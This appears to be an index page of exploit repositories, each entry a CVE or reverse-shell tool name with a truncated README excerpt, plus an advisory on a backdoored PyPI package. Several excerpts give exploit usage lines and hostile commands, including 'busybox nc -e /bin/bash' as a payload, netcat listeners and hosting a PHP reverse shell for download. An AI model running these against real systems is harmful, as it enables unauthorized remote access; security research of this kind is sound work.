CVE-2022-26134

Active Exploitation of Confluence CVE-2022-26134 Overview CVE-2022-26134 is a critical Remote Code Execution RCE vulnerability affecting Atlassian Confluence. This vulnerability allows unauthenticated attackers to execute arbitrary code by injecting OGNL expressions into vulnerable endpoints...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" is a python script to get shellcode from msfvenom, then copy the output to the exp.pdf replace the 'calc' shellcode block, and finally it works. Ooooops, it's a tcp reverse shellcode. a sample code is like this: python getshellcodefrommsf.py 192.168.1.7...

log4shell-minecraft-demo

Log4Shell CVE-2021-44228 minecraft demo This demo is used at education fairs to give potential future students an idea of the cybersecurity department at HTL Villach and on how everyday applications can be exploited Note: This entire demo uses Minecraft 1.8.8 Attacker The attacker in this scenari...

CVE-2018-8174-exp

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit for CVE-2018-8174 optional arguments: -h, --help show this help message and exit -u URL, --url URL exp url -o OUTPUT, --output OUTPUT Output exploit rtf -i IP, --ip IP ip for netcat -p PORT, --port PORT port for...

pickle_exploit

PickleExploit Demonstrating Remote Code Execution Vulnerability via Pickle Serialization in ClearML 🖥️ This script was developed by h3x0v3rl0rd. This proof of concept PoC demonstrates a potential security vulnerability involving the serialization and deserialization of Python objects using the...

Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 Enhanced Exploit Tool - Supports dual modes: command execution and reverse shell !IMPORTANT An enhanced exploit tool targeting Webmin CVE-2022-0824, supporting both direct command execution and reverse shell modes. 🚀 Features ✅...

CVE-2019-18634

CVE-2019-18634 working python exploit on Ubuntu 20.04, sudo version 1.8.25 replace "./shell.sh" with your reverse shell writeup at https://y3a.github.io/2021/04/17/sudo-cve-analysis/...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit How to 1. Create a php reverse shell 2. Start server to host shell in the same directory python3 -m http.server 3. Start netcat listener on local port of choice example: nc -nlvp port of choice 4. Run exploit example provided below python3 modifiedCVE20153306.py...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP File Server RCE Exploit A Rust implementation of the CVE-2014-6287 exploit targeting Rejetto HTTP File Server HFS versions 2.3x before 2.3c. Vulnerability Overview CVE-2014-6287 is a critical remote code execution vulnerability in Rejetto HTTP File Server HFS. Technic...

php-reverse-shell

php-reverse-shell...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Cambiar $ip en linea 7 de phprevshell.php nc -lvnp 1234...

ivanti_shell

CVE-2024-21887 Exploitation with Ngrok Reverse Shell This repository provides a Python script designed to demonstrate the exploitation of the CVE-2024-21887 vulnerability in Ivanti Connect Secure gateways. It utilizes Ngrok to establish a reverse shell for educational and ethical testing purposes...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Authenticated Remote Code Execution ⚠️ Disclaimer This repository is intended strictly for educational and research purposes. All demonstrations were performed in a controlled lab environment. Unauthorized testing or exploitation of systems without explicit...

CVE-2025-24893

Reverse shell for CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

cve-2018-2628

cve-2018-2628 cve-2018-2628 reverse shell Article https://pi.wrysunnylove.cn/archives/58...

CVE-2024-4439

Exploit CVE-2024-4439 This Python script demonstrates an exploit for the vulnerability CVE-2024-4439. You can use this script to test a vulnerable WordPress site. Usage Before start git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt...

Http-Asynchronous-Reverse-Shell

HTTP/S Asynchronous Reverse Shell ✨ Introduction In an age where advanced detection systems such as IDS, IPS, EDR, AV, and firewalls dominate corporate networks, evading them during offensive security assessments is a challenge. Most reverse shells leverage TCP tunnels L4, which are now routinely...

CVE-2023-50564

CVE-2023-50564 How to use First setup a listener for the reverse shell. Terminal 1 nc -nlvp Execute the script which will attempt to install a pluck module sending the reverse shell back to us. Terminal 2 go run exploit.go -url -password -i -p...

Malicious code in poc-revshell (PyPI)

Source: amazon-inspector 08edc162927c80cde9e467244a435780f65ca95823e97ec73534faf34233ac9a poc-revshell 0.1.0 ships a reverse-shell backdoor that fires both at install time and at import time. setup.py registers a custom install cmdclass PostInstall that starts a daemon thread executing a routine...